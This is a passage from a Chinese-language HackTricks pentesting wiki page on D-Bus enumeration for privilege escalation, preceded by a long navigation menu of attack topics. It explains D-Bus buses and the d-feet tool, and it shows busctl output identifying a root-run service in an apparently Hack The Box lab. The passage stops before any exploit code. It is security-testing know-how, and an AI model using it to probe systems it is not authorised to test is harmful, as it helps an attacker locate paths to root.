hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • GUI枚举
  • Cmd line枚举
  • 列出服务对象
  • 服务对象信息
  • 列出服务对象的接口
  • 检查服务对象的接口
  • 监视/捕获接口
  • 更多
  • 易受攻击的场景
  • 利用它
  • C 代码
  • 参考资料
  1. Linux Hardening
  2. Linux Privilege Escalation

D-Bus Enumeration & Command Injection Privilege Escalation

上一页Containerd (ctr) Privilege Escalation下一页Docker Security

最后更新于1年前

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GUI枚举

在Ubuntu桌面环境中,D-Bus被用作进程间通信(IPC)中介。在Ubuntu上,观察到多个消息总线的并发操作:系统总线,主要由特权服务用于公开系统范围内相关服务,以及每个已登录用户的会话总线,仅公开对该特定用户有关的服务。这里的重点主要是系统总线,因为它与以更高权限(例如root)运行的服务相关联,我们的目标是提升权限。值得注意的是,D-Bus的架构使用每个会话总线的“路由器”,负责根据客户端为希望通信的服务指定的地址重定向客户端消息到适当的服务。

D-Bus上的服务由它们公开的对象和接口定义。对象可以类比于标准OOP语言中的类实例,每个实例由对象路径唯一标识。这个路径类似于文件系统路径,唯一标识服务公开的每个对象。用于研究的一个关键接口是org.freedesktop.DBus.Introspectable接口,具有一个方法Introspect。该方法返回对象支持的方法、信号和属性的XML表示,这里重点是方法,而省略了属性和信号。

为了与D-Bus接口通信,使用了两个工具:一个名为gdbus的CLI工具,用于在脚本中轻松调用D-Bus公开的方法,以及,一个基于Python的GUI工具,用于枚举每个总线上可用的服务并显示每个服务中包含的对象。

sudo apt-get install d-feet
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png

在第一张图片中,展示了在D-Bus系统总线上注册的服务,特别是在选择System Bus按钮后,org.debin.apt 被特别标记出来。D-Feet查询此服务的对象,显示了所选对象的接口、方法、属性和信号,如第二张图片所示。还详细列出了每个方法的签名。

一个显著的特点是显示了服务的进程ID(pid)和命令行,有助于确认服务是否以提升的特权运行,这对于研究的相关性很重要。

D-Feet还允许方法调用:用户可以将Python表达式作为参数输入,D-Feet会将其转换为D-Bus类型后传递给服务。

但需要注意的是,某些方法在允许我们调用它们之前需要进行身份验证。我们将忽略这些方法,因为我们的目标是在首次不需要凭据的情况下提升我们的权限。

还要注意,一些服务会查询另一个名为org.freedeskto.PolicyKit1的D-Bus服务,以确定用户是否被允许执行某些操作。

Cmd line枚举

列出服务对象

可以使用以下命令列出已打开的D-Bus接口:

busctl list #List D-Bus interfaces

NAME                                   PID PROCESS         USER             CONNECTION    UNIT                      SE
:1.0                                     1 systemd         root             :1.0          init.scope                -
:1.1345                              12817 busctl          qtc              :1.1345       session-729.scope         72
:1.2                                  1576 systemd-timesyn systemd-timesync :1.2          systemd-timesyncd.service -
:1.3                                  2609 dbus-server     root             :1.3          dbus-server.service       -
:1.4                                  2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
:1.6                                  2612 systemd-logind  root             :1.6          systemd-logind.service    -
:1.8                                  3087 unattended-upgr root             :1.8          unattended-upgrades.serv… -
:1.820                                6583 systemd         qtc              :1.820        user@1000.service         -
com.ubuntu.SoftwareProperties            - -               -                (activatable) -                         -
fi.epitest.hostap.WPASupplicant       2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
fi.w1.wpa_supplicant1                 2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
htb.oouch.Block                       2609 dbus-server     root             :1.3          dbus-server.service       -
org.bluez                                - -               -                (activatable) -                         -
org.freedesktop.DBus                     1 systemd         root             -             init.scope                -
org.freedesktop.PackageKit               - -               -                (activatable) -                         -
org.freedesktop.PolicyKit1               - -               -                (activatable) -                         -
org.freedesktop.hostname1                - -               -                (activatable) -                         -
org.freedesktop.locale1                  - -               -                (activatable) -                         -

连接

服务对象信息

然后,您可以通过以下方式获取有关接口的一些信息:

busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface

PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read

列出服务对象的接口

您需要具有足够的权限。

busctl tree htb.oouch.Block #Get Interfaces of the service object

└─/htb
└─/htb/oouch
└─/htb/oouch/Block

检查服务对象的接口

